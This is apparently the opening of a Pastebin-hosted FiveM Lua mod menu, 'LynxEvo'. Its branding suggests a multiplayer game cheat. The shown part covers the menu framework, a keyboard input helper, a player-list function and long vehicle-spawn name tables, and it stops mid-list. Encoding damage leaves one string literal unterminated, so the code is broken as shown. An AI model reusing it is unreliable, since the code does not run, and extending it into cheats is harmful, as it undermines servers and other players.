Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- local mhaonn = true
- ESX = nil
- Citizen.CreateThread(
- function()
- while ESX == nil do
- TriggerEvent(
- 'esx:getSharedObject',
- function(a)
- ESX = a
- end
- )
- Citizen.Wait(1000)
- end
- end
- )
- local function e()
- local name = GetPlayerName(PlayerId())
- end
- local h = false
- rot = 1
- local j = false
- LynxEvo = {}
- LynxEvo.debug = false
- local function k(l)
- local m = {}
- local n = GetGameTimer() / 200
- m.r = math.floor(math.sin(n * l + 0) * 127 + 128)
- m.g = math.floor(math.sin(n * l + 2) * 127 + 128)
- m.b = math.floor(math.sin(n * l + 4) * 127 + 128)
- return m
- end
- local o = {}
- local p = {
- up = 172,
- down = 173,
- left = 174,
- right = 175,
- select = 176,
- back = 177
- }
- local q = 0
- local s = nil
- local t = nil
- local u = 0.23
- local v = 0.11
- local w = 0.03
- local A = 1.0
- local B = 0.041
- local C = 0
- local D = 0.370
- local E = 0.005
- local F = 0.005
- local G = '34ByTe Community'
- local function H(I)
- if LynxEvo.debug then
- Citizen.Trace('[LynxEvo] ' .. tostring(I))
- end
- end
- local function J(f, K, value)
- if f and o[f] then
- o[f][K] = value
- H(f .. ' menu property changed: { ' .. tostring(K) .. ', ' .. tostring(value) .. ' }')
- end
- end
- local function L(f)
- if f and o[f] then
- return o[f].visible
- else
- return false
- end
- end
- local function M(f, N, O)
- if f and o[f] then
- J(f, 'visible', N)
- if not O and o[f] then
- J(f, 'currentOption', 1)
- end
- if N then
- if f ~= t and L(t) then
- M(t, false)
- end
- t = f
- end
- end
- end
- local function P(I, x, y, Q, R, S, T, U, V)
- SetTextColour(R.r, R.g, R.b, R.a)
- SetTextFont(Q)
- SetTextScale(S, S)
- if U then
- SetTextDropShadow(2, 2, 0, 0, 0)
- end
- if o[t] then
- if T then
- SetTextCentre(T)
- elseif V then
- SetTextWrap(o[t].x, o[t].x + u - E)
- SetTextRightJustify(true)
- end
- end
- SetTextEntry('STRING')
- AddTextComponentString(I)
- DrawText(x, y)
- end
- local function W(x, y, X, height, R)
- DrawRect(x, y, X, height, R.r, R.g, R.b, R.a)
- end
- local function Y()
- if o[t] then
- local x = o[t].x + u / 2
- local y = o[t].y + v / 2
- if o[t].titleBackgroundSprite then
- DrawSprite(
- o[t].titleBackgroundSprite.dict,
- o[t].titleBackgroundSprite.name,
- x,
- y,
- u,
- v,
- 0.,
- 255,
- 255,
- 255,
- 255
- )
- else
- W(x, y, u, v, o[t].titleBackgroundColor)
- end
- P(o[t].title, x, y - v / 2 + w, o[t].titleFont, o[t].titleColor, A, true)
- end
- end
- local function Z()
- if o[t] then
- local x = o[t].x + u / 2
- local y = o[t].y + v + B / 2
- local a0 = {
- r = o[t].titleBackgroundColor.r,
- g = o[t].titleBackgroundColor.g,
- b = o[t].titleBackgroundColor.b,
- a = 255
- }
- W(x, y, u, B, o[t].subTitleBackgroundColor)
- P(o[t].subTitle, o[t].x + E, y - B / 2 + F, C, a0, D, false)
- if q > o[t].maxOptionCount then
- P(
- tostring(o[t].currentOption) .. ' / ' .. tostring(q),
- o[t].x + u,
- y - B / 2 + F,
- C,
- a0,
- D,
- false,
- false,
- true
- )
- end
- end
- end
- local function a1(I, a2)
- local x = o[t].x + u / 2
- local a3 = nil
- if o[t].currentOption <= o[t].maxOptionCount and q <= o[t].maxOptionCount then
- a3 = q
- elseif q > o[t].currentOption - o[t].maxOptionCount and q <= o[t].currentOption then
- a3 = q - (o[t].currentOption - o[t].maxOptionCount)
- end
- if a3 then
- local y = o[t].y + v + B + B * a3 - B / 2
- local a4 = nil
- local a5 = nil
- local a6 = nil
- local U = false
- if o[t].currentOption == q then
- a4 = o[t].menuFocusBackgroundColor
- a5 = o[t].menuFocusTextColor
- a6 = o[t].menuFocusTextColor
- else
- a4 = o[t].menuBackgroundColor
- a5 = o[t].menuTextColor
- a6 = o[t].menuSubTextColor
- U = true
- end
- W(x, y, u, B, a4)
- P(I, o[t].x + E, y - B / 2 + F, C, a5, D, false, U)
- if a2 then
- P(a2, o[t].x + E, y - B / 2 + F, C, a6, D, false, U, true)
- end
- end
- end
- function LynxEvo.CreateMenu(f, a7)
- o[f] = {}
- o[f].title = a7
- o[f].subTitle = G
- o[f].visible = false
- o[f].previousMenu = nil
- o[f].aboutToBeClosed = false
- o[f].x = 0.75
- o[f].y = 0.19
- o[f].currentOption = 1
- o[f].maxOptionCount = 10
- o[f].titleFont = 2
- o[f].titleColor = {
- r = 255,
- g = 255,
- b = 255,
- a = 255
- }
- Citizen.CreateThread(
- function()
- while true do
- Citizen.Wait(0)
- local a8 = k(1.0)
- o[f].titleBackgroundColor = {
- r = a8.r,
- g = a8.g,
- b = a8.b,
- a = 105
- }
- o[f].menuFocusBackgroundColor = {
- r = 255,
- g = 255,
- b = 255,
- a = 100
- }
- end
- end
- )
- o[f].titleBackgroundSprite = nil
- o[f].menuTextColor = {
- r = 255,
- g = 255,
- b = 255,
- a = 255
- }
- o[f].menuSubTextColor = {
- r = 189,
- g = 189,
- b = 189,
- a = 255
- }
- o[f].menuFocusTextColor = {
- r = 255,
- g = 255,
- b = 255,
- a = 255
- }
- o[f].menuBackgroundColor = {
- r = 0,
- g = 0,
- b = 0,
- a = 100
- }
- o[f].subTitleBackgroundColor = {
- r = o[f].menuBackgroundColor.r,
- g = o[f].menuBackgroundColor.g,
- b = o[f].menuBackgroundColor.b,
- a = 255
- }
- o[f].buttonPressedSound = {
- name = '~h~~r~> ~s~SELECT',
- set = 'HUD_FRONTEND_DEFAULT_SOUNDSET'
- }
- H(tostring(f) .. ' menu created')
- end
- function LynxEvo.CreateSubMenu(f, a9, aa)
- if o[a9] then
- LynxEvo.CreateMenu(f, o[a9].title)
- if aa then
- J(f, 'subTitle', aa)
- else
- J(f, 'subTitle', o[a9].subTitle)
- end
- J(f, 'previousMenu', a9)
- J(f, 'x', o[a9].x)
- J(f, 'y', o[a9].y)
- J(f, 'maxOptionCount', o[a9].maxOptionCount)
- J(f, 'titleFont', o[a9].titleFont)
- J(f, 'titleColor', o[a9].titleColor)
- J(f, 'titleBackgroundColor', o[a9].titleBackgroundColor)
- J(f, 'titleBackgroundSprite', o[a9].titleBackgroundSprite)
- J(f, 'menuTextColor', o[a9].menuTextColor)
- J(f, 'menuSubTextColor', o[a9].menuSubTextColor)
- J(f, 'menuFocusTextColor', o[a9].menuFocusTextColor)
- J(f, 'menuFocusBackgroundColor', o[a9].menuFocusBackgroundColor)
- J(f, 'menuBackgroundColor', o[a9].menuBackgroundColor)
- J(f, 'subTitleBackgroundColor', o[a9].subTitleBackgroundColor)
- else
- H('Failed to create ' .. tostring(f) .. ' submenu: ' .. tostring(a9) .. " parent menu doesn't exist")
- end
- end
- function LynxEvo.CurrentMenu()
- return t
- end
- function LynxEvo.OpenMenu(f)
- if f and o[f] then
- PlaySoundFrontend(-1, 'SELECT', 'HUD_FRONTEND_DEFAULT_SOUNDSET', true)
- M(f, true)
- if o[f].titleBackgroundSprite then
- RequestStreamedTextureDict(o[f].titleBackgroundSprite.dict, false)
- while not HasStreamedTextureDictLoaded(o[f].titleBackgroundSprite.dict) do
- Citizen.Wait(0)
- end
- end
- H(tostring(f) .. ' menu opened')
- else
- H('Failed to open ' .. tostring(f) .. " menu: it doesn't exist")
- end
- end
- function LynxEvo.IsMenuOpened(f)
- return L(f)
- end
- function LynxEvo.IsAnyMenuOpened()
- for f, _ in pairs(o) do
- if L(f) then
- return true
- end
- end
- return false
- end
- function LynxEvo.IsMenuAboutToBeClosed()
- if o[t] then
- return o[t].aboutToBeClosed
- else
- return false
- end
- end
- function LynxEvo.CloseMenu()
- if o[t] then
- if o[t].aboutToBeClosed then
- o[t].aboutToBeClosed = false
- M(t, false)
- H(tostring(t) .. ' menu closed')
- PlaySoundFrontend(-1, 'QUIT', 'HUD_FRONTEND_DEFAULT_SOUNDSET', true)
- q = 0
- t = nil
- s = nil
- else
- o[t].aboutToBeClosed = true
- H(tostring(t) .. ' menu about to be closed')
- end
- end
- end
- function LynxEvo.Button(I, a2)
- local ab = I
- if a2 then
- ab = '{ ' .. tostring(ab) .. ', ' .. tostring(a2) .. ' }'
- end
- if o[t] then
- q = q + 1
- local ac = o[t].currentOption == q
- a1(I, a2)
- if ac then
- if s == p.select then
- PlaySoundFrontend(-1, o[t].buttonPressedSound.name, o[t].buttonPressedSound.set, true)
- H(ab .. ' button pressed')
- return true
- elseif s == p.left or s == p.right then
- PlaySoundFrontend(-1, 'NAV_UP_DOWN', 'HUD_FRONTEND_DEFAULT_SOUNDSET', true)
- end
- end
- return false
- else
- H('Failed to create ' .. ab .. ' button: ' .. tostring(t) .. " menu doesn't exist")
- return false
- end
- end
- function LynxEvo.MenuButton(I, f)
- if o[f] then
- if LynxEvo.Button(I) then
- M(t, false)
- M(f, true, true)
- return true
- end
- else
- H('Failed to create ' .. tostring(I) .. ' menu button: ' .. tostring(f) .. " submenu doesn't exist")
- end
- return false
- end
- function LynxEvo.CheckBox(I, bool, ad)
- local ae = '~r~~h~OFF'
- if bool then
- ae = '~g~~h~ON'
- end
- if LynxEvo.Button(I, ae) then
- bool = not bool
- H(tostring(I) .. ' checkbox changed to ' .. tostring(bool))
- ad(bool)
- return true
- end
- return false
- end
- function LynxEvo.ComboBox(I, af, ag, ah, ad)
- local ai = #af
- local aj = af[ag]
- local ac = o[t].currentOption == q + 1
- if ai > 1 and ac then
- aj = '??' .. tostring(aj) .. ' ??
- end
- if LynxEvo.Button(I, aj) then
- ah = ag
- ad(ag, ah)
- return true
- elseif ac then
- if s == p.left then
- if ag > 1 then
- ag = ag - 1
- else
- ag = ai
- end
- elseif s == p.right then
- if ag < ai then
- ag = ag + 1
- else
- ag = 1
- end
- end
- else
- ag = ah
- end
- ad(ag, ah)
- return false
- end
- function LynxEvo.Display()
- if L(t) then
- if o[t].aboutToBeClosed then
- LynxEvo.CloseMenu()
- else
- ClearAllHelpMessages()
- Y()
- Z()
- s = nil
- if IsDisabledControlJustPressed(0, p.down) then
- PlaySoundFrontend(-1, 'NAV_UP_DOWN', 'HUD_FRONTEND_DEFAULT_SOUNDSET', true)
- if o[t].currentOption < q then
- o[t].currentOption = o[t].currentOption + 1
- else
- o[t].currentOption = 1
- end
- elseif IsDisabledControlJustPressed(0, p.up) then
- PlaySoundFrontend(-1, 'NAV_UP_DOWN', 'HUD_FRONTEND_DEFAULT_SOUNDSET', true)
- if o[t].currentOption > 1 then
- o[t].currentOption = o[t].currentOption - 1
- else
- o[t].currentOption = q
- end
- elseif IsDisabledControlJustPressed(0, p.left) then
- s = p.left
- elseif IsDisabledControlJustPressed(0, p.right) then
- s = p.right
- elseif IsDisabledControlJustPressed(0, p.select) then
- s = p.select
- elseif IsDisabledControlJustPressed(0, p.back) then
- if o[o[t].previousMenu] then
- PlaySoundFrontend(-1, 'BACK', 'HUD_FRONTEND_DEFAULT_SOUNDSET', true)
- M(o[t].previousMenu, true)
- else
- LynxEvo.CloseMenu()
- end
- end
- q = 0
- end
- end
- end
- function LynxEvo.SetMenuWidth(f, X)
- J(f, 'width', X)
- end
- function LynxEvo.SetMenuX(f, x)
- J(f, 'x', x)
- end
- function LynxEvo.SetMenuY(f, y)
- J(f, 'y', y)
- end
- function LynxEvo.SetMenuMaxOptionCountOnScreen(f, count)
- J(f, 'maxOptionCount', count)
- end
- function LynxEvo.SetTitleColor(f, r, g, b, ak)
- J(
- f,
- 'titleColor',
- {
- ['r'] = r,
- ['g'] = g,
- ['b'] = b,
- ['a'] = ak or o[f].titleColor.a
- }
- )
- end
- function LynxEvo.SetTitleBackgroundColor(f, r, g, b, ak)
- J(
- f,
- 'titleBackgroundColor',
- {
- ['r'] = r,
- ['g'] = g,
- ['b'] = b,
- ['a'] = ak or o[f].titleBackgroundColor.a
- }
- )
- end
- function LynxEvo.SetTitleBackgroundSprite(f, al, am)
- J(
- f,
- 'titleBackgroundSprite',
- {
- dict = al,
- name = am
- }
- )
- end
- function LynxEvo.SetSubTitle(f, I)
- J(f, 'subTitle', I)
- end
- function LynxEvo.SetMenuBackgroundColor(f, r, g, b, ak)
- J(
- f,
- 'menuBackgroundColor',
- {
- ['r'] = r,
- ['g'] = g,
- ['b'] = b,
- ['a'] = ak or o[f].menuBackgroundColor.a
- }
- )
- end
- function LynxEvo.SetMenuTextColor(f, r, g, b, ak)
- J(
- f,
- 'menuTextColor',
- {
- ['r'] = r,
- ['g'] = g,
- ['b'] = b,
- ['a'] = ak or o[f].menuTextColor.a
- }
- )
- end
- function LynxEvo.SetMenuSubTextColor(f, r, g, b, ak)
- J(
- f,
- 'menuSubTextColor',
- {
- ['r'] = r,
- ['g'] = g,
- ['b'] = b,
- ['a'] = ak or o[f].menuSubTextColor.a
- }
- )
- end
- function LynxEvo.SetMenuFocusColor(f, r, g, b, ak)
- J(
- f,
- 'menuFocusColor',
- {
- ['r'] = r,
- ['g'] = g,
- ['b'] = b,
- ['a'] = ak or o[f].menuFocusColor.a
- }
- )
- end
- function LynxEvo.SetMenuButtonPressedSound(f, name, an)
- J(
- f,
- 'buttonPressedSound',
- {
- ['name'] = name,
- ['set'] = an
- }
- )
- end
- function KeyboardInput(ao, ap, aq)
- AddTextEntry('FMMC_KEY_TIP1', ao .. ':')
- DisplayOnscreenKeyboard(1, 'FMMC_KEY_TIP1', '', ap, '', '', '', aq)
- blockinput = true
- while UpdateOnscreenKeyboard() ~= 1 and UpdateOnscreenKeyboard() ~= 2 do
- Citizen.Wait(0)
- end
- if UpdateOnscreenKeyboard() ~= 2 then
- AddTextEntry('FMMC_KEY_TIP1', '')
- local m = GetOnscreenKeyboardResult()
- Citizen.Wait(500)
- blockinput = false
- return m
- else
- AddTextEntry('FMMC_KEY_TIP1', '')
- Citizen.Wait(500)
- blockinput = false
- return nil
- end
- end
- local function ar()
- local as = {}
- for i = 0, GetNumberOfPlayers() do
- if NetworkIsPlayerActive(i) then
- as[#as + 1] = i
- end
- end
- return as
- end
- function DrawText3D(x, y, z, I, r, g, b)
- SetDrawOrigin(x, y, z, 0)
- SetTextFont(0)
- SetTextProportional(0)
- SetTextScale(0.0, 0.20)
- SetTextColour(r, g, b, 255)
- SetTextDropshadow(0, 0, 0, 0, 255)
- SetTextEdge(2, 0, 0, 0, 150)
- SetTextDropShadow()
- SetTextOutline()
- SetTextEntry('STRING')
- SetTextCentre(1)
- AddTextComponentString(I)
- DrawText(0.0, 0.0)
- ClearDrawOrigin()
- end
- function math.round(at, au)
- return tonumber(string.format('%.' .. (au or 0) .. 'f', at))
- end
- local function k(l)
- local m = {}
- local n = GetGameTimer() / 1000
- m.r = math.floor(math.sin(n * l + 0) * 127 + 128)
- m.g = math.floor(math.sin(n * l + 2) * 127 + 128)
- m.b = math.floor(math.sin(n * l + 4) * 127 + 128)
- return m
- end
- local function av(I)
- SetNotificationTextEntry('STRING')
- AddTextComponentString(I)
- DrawNotification(aw, false)
- if rgbnot then
- for i = 0, 24 do
- i = i + 1
- SetNotificationBackgroundColor(i)
- end
- else
- SetNotificationBackgroundColor(25) -- ?몄튂?됱긽 //https://gyazo.com/68bd384455fceb0a85a8729e48216e15
- end
- end
- function checkValidVehicleExtras()
- local ax = PlayerPedId()
- local ay = GetVehiclePedIsIn(ax, false)
- local az = {}
- for i = 0, 50, 1 do
- if DoesExtraExist(ay, i) then
- local aA = '~h~Extra #' .. tostring(i)
- local I = 'OFF'
- if IsVehicleExtraTurnedOn(ay, i) then
- I = 'ON'
- end
- local aB = '~h~extra ' .. tostring(i)
- table.insert(
- az,
- {
- menuName = realModName,
- data = {
- ['action'] = realSpawnName,
- ['state'] = I
- }
- }
- )
- end
- end
- return az
- end
- function DoesVehicleHaveExtras(veh)
- for i = 1, 30 do
- if DoesExtraExist(veh, i) then
- return true
- end
- end
- return false
- end
- function checkValidVehicleMods(aC)
- local ax = PlayerPedId()
- local ay = GetVehiclePedIsIn(ax, false)
- local az = {}
- local aD = GetNumVehicleMods(ay, aC)
- if aC == 48 and aD == 0 then
- local aD = GetVehicleLiveryCount(ay)
- for i = 1, aD, 1 do
- local aE = i - 1
- local aF = GetLiveryName(ay, aE)
- local realModName = GetLabelText(aF)
- local aG, realSpawnName = aC, aE
- az[i] = {
- menuName = realModName,
- data = {
- ['modid'] = aG,
- ['realIndex'] = realSpawnName
- }
- }
- end
- end
- for i = 1, aD, 1 do
- local aE = i - 1
- local aF = GetModTextLabel(ay, aC, aE)
- local realModName = GetLabelText(aF)
- local aG, realSpawnName = aD, aE
- az[i] = {
- menuName = realModName,
- data = {
- ['modid'] = aG,
- ['realIndex'] = realSpawnName
- }
- }
- end
- if aD > 0 then
- local aE = -1
- local aG, realSpawnName = aC, aE
- table.insert(
- az,
- 1,
- {
- menuName = 'Stock',
- data = {
- ['modid'] = aG,
- ['realIndex'] = realSpawnName
- }
- }
- )
- end
- return az
- end
- local aH = {
- 'Dinghy',
- 'Dinghy2',
- 'Dinghy3',
- 'Dingh4',
- 'Jetmax',
- 'Marquis',
- 'Seashark',
- 'Seashark2',
- 'Seashark3',
- 'Speeder',
- 'Speeder2',
- 'Squalo',
- 'Submersible',
- 'Submersible2',
- 'Suntrap',
- 'Toro',
- 'Toro2',
- 'Tropic',
- 'Tropic2',
- 'Tug'
- }
- local aI = {
- 'Benson',
- 'Biff',
- 'Cerberus',
- 'Cerberus2',
- 'Cerberus3',
- 'Hauler',
- 'Hauler2',
- 'Mule',
- 'Mule2',
- 'Mule3',
- 'Mule4',
- 'Packer',
- 'Phantom',
- 'Phantom2',
- 'Phantom3',
- 'Pounder',
- 'Pounder2',
- 'Stockade',
- 'Stockade3',
- 'Terbyte'
- }
- local aJ = {
- 'Blista',
- 'Blista2',
- 'Blista3',
- 'Brioso',
- 'Dilettante',
- 'Dilettante2',
- 'Issi2',
- 'Issi3',
- 'issi4',
- 'Iss5',
- 'issi6',
- 'Panto',
- 'Prarire',
- 'Rhapsody'
- }
- local aK = {
- 'CogCabrio',
- 'Exemplar',
- 'F620',
- 'Felon',
- 'Felon2',
- 'Jackal',
- 'Oracle',
- 'Oracle2',
- 'Sentinel',
- 'Sentinel2',
- 'Windsor',
- 'Windsor2',
- 'Zion',
- 'Zion2'
- }
- local aL = {
- 'Bmx',
- 'Cruiser',
- 'Fixter',
- 'Scorcher',
- 'Tribike',
- 'Tribike2',
- 'tribike3'
- }
- local aM = {
- 'ambulance',
- 'FBI',
- 'FBI2',
- 'FireTruk',
- 'PBus',
- 'police',
- 'Police2',
- 'Police3',
- 'Police4',
- 'PoliceOld1',
- 'PoliceOld2',
- 'PoliceT',
- 'Policeb',
- 'Polmav',
- 'Pranger',
- 'Predator',
- 'Riot',
- 'Riot2',
- 'Sheriff',
- 'Sheriff2'
- }
- local aN = {
- 'Akula',
- 'Annihilator',
- 'Buzzard',
- 'Buzzard2',
- 'Cargobob',
- 'Cargobob2',
- 'Cargobob3',
- 'Cargobob4',
- 'Frogger',
- 'Frogger2',
- 'Havok',
- 'Hunter',
- 'Maverick',
- 'Savage',
- 'Seasparrow',
- 'Skylift',
- 'Supervolito',
- 'Supervolito2',
- 'Swift',
- 'Swift2',
- 'Valkyrie',
- 'Valkyrie2',
- 'Volatus'
- }
- local aO = {
- 'Bulldozer',
- 'Cutter',
- 'Dump',
- 'Flatbed',
- 'Guardian',
- 'Handler',
- 'Mixer',
- 'Mixer2',
- 'Rubble',
- 'Tiptruck',
- 'Tiptruck2'
- }
- local aP = {
- 'APC',
- 'Barracks',
- 'Barracks2',
- 'Barracks3',
- 'Barrage',
- 'Chernobog',
- 'Crusader',
- 'Halftrack',
- 'Khanjali',
- 'Rhino',
- 'Scarab',
- 'Scarab2',
- 'Scarab3',
- 'Thruster',
- 'Trailersmall2'
- }
- local aQ = {
- 'Akuma',
- 'Avarus',
- 'Bagger',
- 'Bati2',
- 'Bati',
- 'BF400',
- 'Blazer4',
- 'CarbonRS',
- 'Chimera',
- 'Cliffhanger',
- 'Daemon',
- 'Daemon2',
- 'Defiler',
- 'Deathbike',
- 'Deathbike2',
- 'Deathbike3',
- 'Diablous',
- 'Diablous2',
- 'Double',
- 'Enduro',
- 'esskey',
- 'Faggio2',
- 'Faggio3',
- 'Faggio',
- 'Fcr2',
- 'fcr',
- 'gargoyle',
- 'hakuchou2',
- 'hakuchou',
- 'hexer',
- 'innovation',
- 'Lectro',
- 'Manchez',
- 'Nemesis',
- 'Nightblade',
- 'Oppressor',
- 'Oppressor2',
- 'PCJ',
- 'Ratbike',
- 'Ruffian',
- 'Sanchez2',
- 'Sanchez',
- 'Sanctus',
- 'Shotaro',
- 'Sovereign',
- 'Thrust',
- 'Vader',
- 'Vindicator',
- 'Vortex',
- 'Wolfsbane',
- 'zombiea',
- 'zombieb'
- }
- local aR = {
- 'Blade',
- 'Buccaneer',
- 'Buccaneer2',
- 'Chino',
- 'Chino2',
- 'clique',
- 'Deviant',
- 'Dominator',
- 'Dominator2',
- 'Dominator3',
- 'Dominator4',
- 'Dominator5',
- 'Dominator6',
- 'Dukes',
- 'Dukes2',
- 'Ellie',
- 'Faction',
- 'faction2',
- 'faction3',
- 'Gauntlet',
- 'Gauntlet2',
- 'Hermes',
- 'Hotknife',
- 'Hustler',
- 'Impaler',
- 'Impaler2',
- 'Impaler3',
- 'Impaler4',
- 'Imperator',
- 'Imperator2',
- 'Imperator3',
- 'Lurcher',
- 'Moonbeam',
- 'Moonbeam2',
- 'Nightshade',
- 'Phoenix',
- 'Picador',
- 'RatLoader',
- 'RatLoader2',
- 'Ruiner',
- 'Ruiner2',
- 'Ruiner3',
- 'SabreGT',
- 'SabreGT2',
- 'Sadler2',
- 'Slamvan',
- 'Slamvan2',
- 'Slamvan3',
- 'Slamvan4',
- 'Slamvan5',
- 'Slamvan6',
- 'Stalion',
- 'Stalion2',
- 'Tampa',
- 'Tampa3',
- 'Tulip',
- 'Vamos,',
- 'Vigero',
- 'Virgo',
- 'Virgo2',
- 'Virgo3',
- 'Voodoo',
- 'Voodoo2',
- 'Yosemite'
- }
- local aS = {
- 'BFinjection',
- 'Bifta',
- 'Blazer',
- 'Blazer2',
- 'Blazer3',
- 'Blazer5',
- 'Bohdi',
- 'Brawler',
- 'Bruiser',
- 'Bruiser2',
- 'Bruiser3',
- 'Caracara',
- 'DLoader',
- 'Dune',
- 'Dune2',
- 'Dune3',
- 'Dune4',
- 'Dune5',
- 'Insurgent',
- 'Insurgent2',
- 'Insurgent3',
- 'Kalahari',
- 'Kamacho',
- 'LGuard',
- 'Marshall',
- 'Mesa',
- 'Mesa2',
- 'Mesa3',
- 'Monster',
- 'Monster4',
- 'Monster5',
- 'Nightshark',
- 'RancherXL',
- 'RancherXL2',
- 'Rebel',
- 'Rebel2',
- 'RCBandito',
- 'Riata',
- 'Sandking',
- 'Sandking2',
- 'Technical',
- 'Technical2',
- 'Technical3',
- 'TrophyTruck',
- 'TrophyTruck2',
- 'Freecrawler',
- 'Menacer'
- }
- local aT = {
- 'AlphaZ1',
- 'Avenger',
- 'Avenger2',
- 'Besra',
- 'Blimp',
- 'blimp2',
- 'Blimp3',
- 'Bombushka',
- 'Cargoplane',
- 'Cuban800',
- 'Dodo',
- 'Duster',
- 'Howard',
- 'Hydra',
- 'Jet',
- 'Lazer',
- 'Luxor',
- 'Luxor2',
- 'Mammatus',
- 'Microlight',
- 'Miljet',
- 'Mogul',
- 'Molotok',
- 'Nimbus',
- 'Nokota',
- 'Pyro',
- 'Rogue',
- 'Seabreeze',
- 'Shamal',
- 'Starling',
- 'Stunt',
- 'Titan',
- 'Tula',
- 'Velum',
- 'Velum2',
- 'Vestra',
- 'Volatol',
- 'Striekforce'
- }
- local aU = {
- 'BJXL',
- 'Baller',
- 'Baller2',
- 'Baller3',
- 'Baller4',
- 'Baller5',
- 'Baller6',
- 'Cavalcade',
- 'Cavalcade2',
- 'Dubsta',
- 'Dubsta2',
- 'Dubsta3',
- 'FQ2',
- 'Granger',
- 'Gresley',
- 'Habanero',
- 'Huntley',
- 'Landstalker',
- 'patriot',
- 'Patriot2',
- 'Radi',
- 'Rocoto',
- 'Seminole',
- 'Serrano',
- 'Toros',
- 'XLS',
- 'XLS2'
- }
- local aV = {
- 'Asea',
- 'Asea2',
- 'Asterope',
- 'Cog55',
- 'Cogg552',
- 'Cognoscenti',
- 'Cognoscenti2',
- 'emperor',
- 'emperor2',
- 'emperor3',
- 'Fugitive',
- 'Glendale',
- 'ingot',
- 'intruder',
- 'limo2',
- 'premier',
- 'primo',
- 'primo2',
- 'regina',
- 'romero',
- 'stafford',
- 'Stanier',
- 'stratum',
- 'stretch',
- 'surge',
- 'tailgater',
- 'warrener',
- 'Washington'
- }
- local aW = {
- 'Airbus',
- 'Brickade',
- 'Bus',
- 'Coach',
- 'Rallytruck',
- 'Rentalbus',
- 'taxi',
- 'Tourbus',
- 'Trash',
- 'Trash2',
- 'WastIndr',
- 'PBus2'
- }
- local aX = {
- 'Alpha',
- 'Banshee',
- 'Banshee2',
- 'BestiaGTS',
- 'Buffalo',
- 'Buffalo2',
- 'Buffalo3',
- 'Carbonizzare',
- 'Comet2',
- 'Comet3',
- 'Comet4',
- 'Comet5',
- 'Coquette',
- 'Deveste',
- 'Elegy',
- 'Elegy2',
- 'Feltzer2',
- 'Feltzer3',
- 'FlashGT',
- 'Furoregt',
- 'Fusilade',
- 'Futo',
- 'GB200',
- 'Hotring',
- 'Infernus2',
- 'Italigto',
- 'Jester',
- 'Jester2',
- 'Khamelion',
- 'Kurama',
- 'Kurama2',
- 'Lynx',
- 'MAssacro',
- 'MAssacro2',
- 'neon',
- 'Ninef',
- 'ninfe2',
- 'omnis',
- 'Pariah',
- 'Penumbra',
- 'Raiden',
- 'RapidGT',
- 'RapidGT2',
- 'Raptor',
- 'Revolter',
- 'Ruston',
- 'Schafter2',
- 'Schafter3',
- 'Schafter4',
- 'Schafter5',
- 'Schafter6',
- 'Schlagen',
- 'Schwarzer',
- 'Sentinel3',
- 'Seven70',
- 'Specter',
- 'Specter2',
- 'Streiter',
- 'Sultan',
- 'Surano',
- 'Tampa2',
- 'Tropos',
- 'Verlierer2',
- 'ZR380',
- 'ZR3802',
- 'ZR3803'
- }
- local aY = {
- 'Ardent',
- 'BType',
- 'BType2',
- 'BType3',
- 'Casco',
- 'Cheetah2',
- 'Cheburek',
- 'Coquette2',
- 'Coquette3',
- 'Deluxo',
- 'Fagaloa',
- 'Gt500',
- 'JB700',
- 'JEster3',
- 'MAmba',
- 'Manana',
- 'Michelli',
- 'Monroe',
- 'Peyote',
- 'Pigalle',
- 'RapidGT3',
- 'Retinue',
- 'Savastra',
- 'Stinger',
- 'Stingergt',
- 'Stromberg',
- 'Swinger',
- 'Torero',
- 'Tornado',
- 'Tornado2',
- 'Tornado3',
- 'Tornado4',
- 'Tornado5',
- 'Tornado6',
- 'Viseris',
- 'Z190',
- 'ZType'
- }
- local aZ = {
- 'Adder',
- 'Autarch',
- 'Bullet',
- 'Cheetah',
- 'Cyclone',
- 'EntityXF',
- 'Entity2',
- 'FMJ',
- 'GP1',
- 'Infernus',
- 'LE7B',
- 'Nero',
- 'Nero2',
- 'Osiris',
- 'Penetrator',
- 'PFister811',
- 'Prototipo',
- 'Reaper',
- 'SC1',
- 'Scramjet',
- 'Sheava',
- 'SultanRS',
- 'Superd',
- 'T20',
- 'Taipan',
- 'Tempesta',
- 'Tezeract',
- 'Turismo2',
- 'Turismor',
- 'Tyrant',
- 'Tyrus',
- 'Vacca',
- 'Vagner',
- 'Vigilante',
- 'Visione',
- 'Voltic',
- 'Voltic2',
- 'Zentorno',
- 'Italigtb',
- 'Italigtb2',
- 'XA21'
- }
- local a_ = {
- 'ArmyTanker',
- 'ArmyTrailer',
- 'ArmyTrailer2',
- 'BaleTrailer',
- 'BoatTrailer',
- 'CableCar',
- 'DockTrailer',
- 'Graintrailer',
- 'Proptrailer',
- 'Raketailer',
- 'TR2',
- 'TR3',
- 'TR4',
- 'TRFlat',
- 'TVTrailer',
- 'Tanker',
- 'Tanker2',
- 'Trailerlogs',
- 'Trailersmall',
- 'Trailers',
- 'Trailers2',
- 'Trailers3'
- }
- local b0 = {
- 'Freight',
- 'Freightcar',
- 'Freightcont1',
- 'Freightcont2',
- 'Freightgrain',
- 'Freighttrailer',
- 'TankerCar'
- }
- local b1 = {
- 'Airtug',
- 'Caddy',
- 'Caddy2',
- 'Caddy3',
- 'Docktug',
- 'Forklift',
- 'Mower',
- 'Ripley',
- 'Sadler',
- 'Scrap',
- 'TowTruck',
- 'Towtruck2',
- 'Tractor',
- 'Tractor2',
- 'Tractor3',
- 'TrailerLArge2',
- 'Utilitruck',
- 'Utilitruck3',
- 'Utilitruck2'
- }
- local b2 = {
- 'Bison',
- 'Bison2',
- 'Bison3',
- 'BobcatXL',
- 'Boxville',
- 'Boxville2',
- 'Boxville3',
- 'Boxville4',
- 'Boxville5',
- 'Burrito',
- 'Burrito2',
- 'Burrito3',
- 'Burrito4',
- 'Burrito5',
- 'Camper',
- 'GBurrito',
- 'GBurrito2',
- 'Journey',
- 'Minivan',
- 'Minivan2',
- 'Paradise',
- 'pony',
- 'Pony2',
- 'Rumpo',
- 'Rumpo2',
- 'Rumpo3',
- 'Speedo',
- 'Speedo2',
- 'Speedo4',
- 'Surfer',
- 'Surfer2',
- 'Taco',
- 'Youga',
- 'youga2'
- }
- local b3 = {
- 'Boats',
- 'Commercial',
- 'Compacts',
- 'Coupes',
- 'Cycles',
- 'Emergency',
- 'Helictopers',
- 'Industrial',
- 'Military',
- 'Motorcycles',
- 'Muscle',
- 'Off-Road',
- 'Planes',
- 'SUVs',
- 'Sedans',
- 'Service',
- 'Sports',
- 'Sports Classic',
- 'Super',
- 'Trailer',
- 'Trains',
- 'Utility',
- 'Vans'
